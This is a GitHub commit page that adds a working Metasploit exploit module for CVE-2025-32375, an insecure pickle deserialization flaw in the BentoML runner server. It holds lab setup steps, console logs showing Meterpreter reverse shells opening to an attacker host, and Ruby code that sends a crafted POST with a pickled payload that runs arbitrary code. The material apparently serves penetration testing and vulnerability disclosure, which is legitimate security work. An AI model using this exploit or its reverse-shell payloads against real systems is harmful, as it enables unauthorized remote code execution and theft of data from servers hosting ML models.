Skip to content

Commit e1b5109

Browse files
committed
Add BentoML RCE module (CVE-2025-32375)
1 parent 74d828c commit e1b5109

File tree

2 files changed

+275
-0
lines changed

2 files changed

+275
-0
lines changed
Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
## Vulnerable Application
2+
3+
There was an insecure deserialization in BentoML's runner server.
4+
By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server,
5+
which will grant the attackers to have the initial access and information disclosure on the server.
6+
7+
The vulnerability affects:
8+
9+
* 1.0.0a1 <= BentoML < 1.4.8
10+
11+
This module was successfully tested on:
12+
13+
* BentoML 1.3.5 installed on Ubuntu 20.04
14+
15+
16+
### Installation
17+
18+
1. `pip install -U bentoml==1.3.5`
19+
20+
2. Create a file named model.py to create a simple model and save it:
21+
```python3
22+
import bentoml
23+
import numpy as np
24+
25+
class mymodel:
26+
def predict(self, info):
27+
return np.abs(info)
28+
def __call__(self, info):
29+
return self.predict(info)
30+
31+
model = mymodel()
32+
bentoml.picklable_model.save_model("mymodel", model)
33+
```
34+
35+
3. Run the following command to save this model: `python3 model.py`
36+
37+
4. Create bentofile.yaml to build this model:
38+
```yml
39+
service: "service.py"
40+
description: "A model serving service with BentoML"
41+
python:
42+
packages:
43+
- bentoml
44+
- numpy
45+
models:
46+
- tag: MyModel:latest
47+
include:
48+
- "*.py"
49+
```
50+
51+
5. Create service.py to host this model:
52+
```python3
53+
import bentoml
54+
from bentoml.io import NumpyNdarray
55+
import numpy as np
56+
57+
58+
model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()
59+
60+
svc = bentoml.Service("myservice", runners=[model_runner])
61+
62+
async def predict(input_data: np.ndarray):
63+
64+
input_columns = np.split(input_data, input_data.shape[1], axis=1)
65+
result_generator = model_runner.async_run(input_columns, is_stream=True)
66+
async for result in result_generator:
67+
yield result
68+
```
69+
70+
6. Run the following commands to build and host this model:
71+
```bash
72+
bentoml build
73+
bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0
74+
```
75+
76+
77+
## Verification Steps
78+
79+
1. Install the application
80+
2. Start msfconsole
81+
3. Do: `use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375`
82+
4. Do: `run lhost=<lhost> rhost=<rhost>`
83+
5. You should get a meterpreter
84+
85+
86+
## Options
87+
88+
89+
## Scenarios
90+
91+
### Python payload
92+
```
93+
msf6 > use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375
94+
[*] Using configured payload python/meterpreter/reverse_tcp
95+
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > options
96+
97+
Module options (exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375):
98+
99+
Name Current Setting Required Description
100+
---- --------------- -------- -----------
101+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
102+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
103+
RPORT 3000 yes The target port (TCP)
104+
SSL false no Negotiate SSL/TLS for outgoing connections
105+
VHOST no HTTP server virtual host
106+
107+
108+
Payload options (python/meterpreter/reverse_tcp):
109+
110+
Name Current Setting Required Description
111+
---- --------------- -------- -----------
112+
LHOST yes The listen address (an interface may be specified)
113+
LPORT 4444 yes The listen port
114+
115+
116+
Exploit target:
117+
118+
Id Name
119+
-- ----
120+
0 Python payload
121+
122+
123+
124+
View the full module info with the info, or info -d command.
125+
126+
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Python\ payload
127+
target => Python payload
128+
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15
129+
[*] Started reverse TCP handler on 192.168.56.1:4444
130+
[*] Running automatic check ("set AutoCheck false" to disable)
131+
[!] The service is running, but could not be validated. BentoML's runner server detected.
132+
[*] Sending stage (24772 bytes) to 192.168.56.15
133+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.15:47712) at 2025-04-17 20:29:12 +0900
134+
135+
meterpreter > getuid
136+
Server username: ubu
137+
meterpreter > sysinfo
138+
Computer : vul
139+
OS : Linux 5.4.0-212-generic #232-Ubuntu SMP Sat Mar 15 15:34:35 UTC 2025
140+
Architecture : x64
141+
System Language : en_US
142+
Meterpreter : python/linux
143+
meterpreter >
144+
```
145+
146+
### Linux command
147+
```
148+
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Linux\ Command
149+
target => Linux Command
150+
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15
151+
[*] Started reverse TCP handler on 192.168.56.1:4444
152+
[*] Running automatic check ("set AutoCheck false" to disable)
153+
[!] The service is running, but could not be validated. BentoML's runner server detected.
154+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.15:43432) at 2025-04-17 20:29:48 +0900
155+
156+
meterpreter > getuid
157+
Server username: ubu
158+
meterpreter > sysinfo
159+
Computer : 192.168.56.15
160+
OS : Ubuntu 20.04 (Linux 5.4.0-212-generic)
161+
Architecture : x64
162+
BuildTuple : x86_64-linux-musl
163+
Meterpreter : x64/linux
164+
meterpreter >
165+
```
Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => "BentoML's runner server RCE",
17+
'Description' => %q{
18+
There was an insecure deserialization in BentoML's runner server.
19+
By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server,
20+
which will grant the attackers to have the initial access and information disclosure on the server.
21+
},
22+
'Author' => [
23+
'SeaWind', # Vulnerability discovery and PoC
24+
'Takahiro Yokoyama' # Metasploit module
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' => [
28+
['CVE', '2025-32375'],
29+
['URL', 'https://github.com/advisories/GHSA-7v4r-c989-xh26'],
30+
],
31+
'Targets' => [
32+
[
33+
'Python payload',
34+
{
35+
'Arch' => ARCH_PYTHON,
36+
'Platform' => 'python',
37+
'Type' => :python,
38+
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
39+
}
40+
],
41+
[
42+
'Linux Command', {
43+
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
44+
'DefaultOptions' => {
45+
# defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp
46+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
47+
}
48+
}
49+
],
50+
],
51+
'DefaultOptions' => {
52+
'FETCH_DELETE' => true
53+
},
54+
'DefaultTarget' => 0,
55+
'DisclosureDate' => '2025-04-09',
56+
'Notes' => {
57+
'Stability' => [ CRASH_SAFE, ],
58+
'SideEffects' => [ IOC_IN_LOGS ],
59+
'Reliability' => [ REPEATABLE_SESSION, ]
60+
}
61+
)
62+
)
63+
register_options(
64+
[
65+
Opt::RPORT(3000),
66+
]
67+
)
68+
end
69+
70+
def check
71+
res = send_request_cgi({
72+
'method' => 'GET',
73+
'uri' => normalize_uri(target_uri.path, 'metrics')
74+
})
75+
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
76+
return Exploit::CheckCode::Unknown('BentoML\'s runner server not detected.') unless res&.get_html_document&.text&.include?('bentoml_runner')
77+
78+
res = send_request_cgi({
79+
'method' => 'GET',
80+
'uri' => normalize_uri(target_uri.path, 'readyz')
81+
})
82+
return Exploit::CheckCode::Unknown('BentoML\'s runner server not ready.') unless res&.code == 200
83+
84+
Exploit::CheckCode::Detected("BentoML\'s runner server detected.")
85+
# Version check not available
86+
end
87+
88+
def exploit
89+
if target['Type'] == :python
90+
pl = payload.encoded
91+
else
92+
pl = "import os;os.system(\"\"\"\n#{payload.encoded}\n\"\"\")"
93+
end
94+
95+
send_request_cgi({
96+
'method' => 'POST',
97+
'uri' => normalize_uri(target_uri.path),
98+
'headers' => {
99+
'args-number' => '1',
100+
'Content-Type' => 'application/vnd.bentoml.pickled',
101+
'Payload-Container' => 'NdarrayContainer',
102+
'Payload-Meta' => '{"format": "default"}',
103+
'Batch-Size' => '-1'
104+
},
105+
'data' => Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, pl)
106+
})
107+
# No response check here
108+
end
109+
110+
end

0 commit comments

Comments
 (0)